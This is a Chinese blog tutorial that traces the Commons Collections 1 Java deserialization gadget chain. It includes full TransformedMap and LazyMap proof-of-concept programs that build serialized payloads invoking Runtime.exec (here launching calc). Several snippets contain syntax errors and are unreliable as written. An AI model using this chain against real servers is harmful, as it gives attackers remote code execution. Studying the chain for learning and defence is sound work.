Java安全—CommonsCollections1

212 阅读6分钟

携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第15天,点击查看活动详情

引子

Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类。 作为Apache开源项⽬的重要组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。  Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer

环境

  • CommonsCollections <= 3.2.1
  • java < 8u71

Transformer接口

接口类,提供了一个对象转换方法transform(接收一个对象,然后对对象作一些操作并输出)

package org.apache.commons.collections;
 
public interface Transformer {
 
    public Object transform(Object input);
 
}

ConstantTransformer

实现了Transformer接口的一个类,实例化类时通过构造函数传入一个对象,在调用其transform()方法将这个对象再返回,在执行回调时方便后续操作(传给InvokerTransformertransform方法)。

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }


    public Object transform(Object input) {
        return iConstant;
    }

InvokerTransformer

InvokerTransformer也是实现Transformer接口,在实例化时需要传入三个参数(方法名,参数类型,参数列表),回调其transform方法即可回调input对象的相应方法(用于调用任意方法命令执行):

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }


    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

举例,先写一个简单的反射

 Runtime runtime = Runtime.getRuntime();
         Class<? extends Runtime> aClass = runtime.getClass();
         Method exec = aClass.getMethod("exec", String.class);
         exec.invoke(runtime,"calc");

通过InvokerTransformer 我们便可以简化成

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);

运行会发现他们的执行效果是一样的。我们就可以在这实行危险方法。

ChainedTransformer

ChainedTransformer也实现了Transformer接口,实例化时传入一Transformer数组,其transform方法将内部的多个Transformer串在一起。前一个回调返回的结果,作为后一个回调的参数传入。

    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }


    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

TransformedMap

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

起到一个修饰器的作用,因为私有属性不能直接调用TransformedMap,我们简介利用上面的静态decorate.

利用

了解了以上几点,我们就跟着看一遍TransformedMap这条链是如何利用的。InvokerTransformer中在实例化时需要传入三个参数(方法名,参数类型,参数列表)。

可以看到我们的参数是可控的,所以存在危险。接下来找一找哪里调用了InvokerTransformer类的transform方法。 跟进到TransformedMap类 发现调用了transform方法。提供了一个静态方法decorate,可以返回一个TransformedMap对象。 而在checkSetValue方法 中,又调用了valueTransformer的transform.到此我们可以得出

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("value(),1111");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);

因为我们只用value中的checkSetValue,所以key的值设为null.

只要我们能控制value的值,便可以进行攻击,于是我们跟checkSetValue 方法。

发现AbstractInputCheckedMapDecorator类的MapEntry方法调用了checkSetValue

public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return entry.setValue(value);
}

遍历修饰过的Map,就会走到MapEntry方法的setValue方法。

for (Map.Entry entry: transformedMap.entrySet()) {
            // 会调用 SetValue,SetValue 中调用了 checkSetValue,checkSetValue 调用了 transform
            entry.setValue(runtime);

接着就会调用checkSetValue方法,也就是回到了TransformedMapcheckSetValue

sun.reflect.annotation.AnnotationInvocationHandler类找到了使用 readObject 调用的函数 memberValue.setValue,根据其构造方法,我们分析第一个参数type是一个Class对象,第二个参数memberValues是一个Map对象,而Map对象就可以是我们修饰的TransformedMap

到此为止,我们有两个问题:

1.Runtime未实现序列化,因此没有继承 serializable 接口,所以我们的runtime就传不进去。

2. AnnotationTypeMismatchExceptionProxy 是无法控制的

解决方法:

1.Runtime.class是可以序列化的,因此我们可以通过反射来利用。

屏幕截图 2022-08-05 224518.png 这时可以用到ChainedTransformer ,传入的是一个Transformer[]数组,我们可以把要调用的方法全都写进去,然后transform方法会进行一个递归的调用。

Transformer[] transformers = new  Transformer[]{
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};


ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

之前传入的是invokerTransformer,我们全都改写成了chainedTransformer,所以直接传入chainedTransformer对象就好了。

2.可能是没进入if,或者是setvalue出错

sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation 的子类,且其中必须含有至少一个方法 被 TransformedMap.decorate 修饰的 Map 中放入一个 key 是 value 的元素

 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }

可以看到memberType使用get方法查找,name来自于我们传入的key值,可控;而memberTypes来自于annotationType的成员变量,所以我们需要控制传入的key值与注解的成员变量相同。Target注解的成员变量有value,进入if继续跟进,会发现value到check时不是我们想要的Runtime.class,这里利用ConstantTransformer,将其写到最前面

Transformer[] transformers = new Transformer[]{
             new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
new ChainedTransformer(transformers).transform(Runtime.class);

至此跟完这一条链,整个链的poc如下:

public class test {
    public static void main(String[] args) throws Exception {


        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),};
				// ConstantTransformer 是实现了 Transformer 接口的一个类,他的过程就是构造函数时传入一个对象,并在 transform 方法将这个对象返回	
        
        Transformer transformerChain = new ChainedTransformer(transformers);
        // chainedtransformer 作用是将内部的多个 transformer 串在一起,将前一个回调结果作为后一个的参数传入
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx"); // 第一个值必须为value
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);




        HashMap hashMap = new HashMap();


        Class clas = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clas.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class, outerMap);


        serialize(obj);
        unserialize("ser.bin");


    }


    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }


    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

LazyMap链

先看一下LazyMap类

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}
protected LazyMap(Map map, Factory factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    } else {
        this.factory = FactoryTransformer.getInstance(factory);
    }
}
public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

我们看到里面get方法,当key不存在时,调用transform,把执行结果作为该key所对应的数据,并添加到到map里。我们跟进factory,通过decorate(),可以建一个LazyMap对象,get方法并不可控,所以需要寻找一个特定的可序列化类,该类重写了readObject( )函数,并且在readObject( )中调用了lazyMap的get()函数。

我们先要在上面链子的基础上改成

 Transformer d = new ChainedTransformer(x);
        Map map = new HashMap();
        Map map1 = LazyMap.decorate(map, d);

sun.reflect.annotation.AnnotationInvocationHandler的readobj中没有找到直接调用Map的get方法。但是在AnnotationInvocationHandler类中的invoke方法调用到了get

public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();


    // Handle Object and Annotation methods
    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    assert paramTypes.length == 0;
    if (member.equals("toString"))
        return toStringImpl();
    if (member.equals("hashCode"))
        return hashCodeImpl();
    if (member.equals("annotationType"))
        return type;


    // Handle annotation member accessors
    Object result = memberValues.get(member);


    if (result == null)
        throw new IncompleteAnnotationException(type, member);


    if (result instanceof ExceptionProxy)
        throw ((ExceptionProxy) result).generateException();


    if (result.getClass().isArray() && Array.getLength(result) != 0)
        result = cloneArray(result);


    return result;
}

可以看到

 Object result = memberValues.get(member);

switch函数的作用是判断var7变量值,只要var7的值为0、1、2之外的值,就可以进入default分支,需要我们找到这样一个无参构造

readObject方法里面,不需要任何处理就会自己调用一个无参方法entrySet(),所以我们只需要控制memberValues传入的是动态代理的实例对象,即可进入到invoke方法调用get方法,进而调用transform执行命令

整条链的攻击过程就是

is.memberValues是可控的,当其是一个AnnotationInvocationHandler类生成的动态代理对象时,在调用entrySet()方法时,会自动去调用invoke方法,所以让memberValues等于LazyMap。

POC

package CC.CC1.LazyMap;


import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;


import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class LazyMapPoc {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        Map hashMap = new HashMap();
        Map lazyMap = LazyMap.decorate(hashMap,transformerChain);


        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class,lazyMap);


        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);//
        handler = (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);


        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();




        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o =(Object) ois.readObject();


    }
}

结语

当初跟的时候对于我这个小白还是挺绕的,个人感觉跟完CC1后再跟其他的链就很简单了,跟的时候注意一下反射和动态代理的用法,有兴趣的小伙伴可以自己去调试跟一下,收获很大,欢迎小伙伴们点赞收藏评论。